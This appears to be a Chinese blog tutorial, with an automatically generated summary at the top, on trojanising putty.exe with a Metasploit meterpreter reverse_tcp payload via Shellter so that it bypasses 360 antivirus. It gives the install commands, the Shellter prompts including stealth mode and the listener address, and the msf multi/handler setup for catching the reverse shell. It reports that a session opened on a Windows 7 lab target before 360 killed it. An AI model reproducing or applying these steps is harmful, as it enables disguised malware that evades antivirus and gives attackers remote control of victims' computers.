MSF配合shellter实现360免杀_shellter enable stealth mode-优快云博客

本文链接：https://blog.youkuaiyun.com/weixin_44508748/article/details/105843543

本文介绍如何使用Shellter工具将MSF生成的木马与正常程序捆绑，实现对360杀毒软件的绕过，建立会话控制服务器。详细步骤包括下载与运行Shellter，选择目标文件并设置payload参数，最后通过捆绑后的程序在目标系统上建立免杀会话。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

利用shellter工具将MSF生成的木马文件与其他文件捆绑在一起，达到绕过杀毒软件建立会话控制服务器的目的。本次的绕过的杀毒软件为360。

攻击/kali/192.168.1.7
靶机/win7/

一、运行shellter工具

①下载shellter：

apt-get install shellter

②安装Windows运行环境(等待时间稍长)

dpkg --add-architecture i386 && apt-get update && apt-get install wine32

在这里插入图片描述
③运行shellter

在这里插入图片描述

choose operation mode - auto/manual: a  #自动模式
pe target>/root/putty.exe         		#选择要注入的文件程序
enable stealth mode?>y               	#健康模式
use a listed payload or custom>l    	#选择列表
set payload by index>1      #调用meterpreter_reverse_TCP模块
set lhost:192.168.1.7
set lport:1155

在这里插入图片描述
④ 捆绑完成

此时已经完成捆绑,putty.exe已经被注入msf payload:
在这里插入图片描述

二、攻击

①msf建立监听:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost:192.168.1.7
set lport:1155
run

②建立会话

将putty.exe放进装有360杀毒的win7中，并运行。
在这里插入图片描述
③ 会话建立成功，成功免杀360

但是会话大概在三分钟左右(甚至更短)会被360kill。同理，免费的没有收费的香，据说收费的强大的不行。

=========================================================
在这里插入图片描述